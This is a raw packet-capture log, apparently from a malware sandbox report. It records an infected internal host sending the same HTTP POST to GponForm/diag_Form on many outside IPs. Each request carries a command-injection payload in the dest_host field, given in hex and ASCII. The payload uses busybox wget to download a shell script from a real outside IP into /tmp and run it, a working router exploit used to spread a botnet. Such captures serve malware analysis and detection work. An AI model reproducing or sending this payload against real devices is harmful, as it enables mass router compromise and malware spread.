Mar 21, 2024 05:16:56.531863928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	34614	212.143.100.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531887054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	46934	79.246.245.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531925917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	46046	37.146.200.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531925917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	37490	118.225.102.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531954050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	59872	212.206.224.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.531982899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	39288	109.129.106.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532026052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	33430	42.171.162.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532035112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	46542	178.221.239.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532078981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	35774	94.140.168.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532114029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	51666	37.165.132.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532121897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	54720	212.45.53.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532147884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	52858	37.251.230.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532171965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	53378	5.72.207.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532208920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	52596	118.150.116.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532229900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	53254	37.48.93.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532247066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	56732	109.116.8.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532286882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	53212	2.53.235.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532318115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	34518	5.2.192.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532325983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	42798	94.102.117.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532381058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	33132	37.173.93.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532382011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	59126	178.36.235.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532444000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	45230	37.129.121.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532486916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	59660	2.243.133.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532501936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	44206	118.166.160.93	443

Timestamp	Bytes transferred	Direction	Data
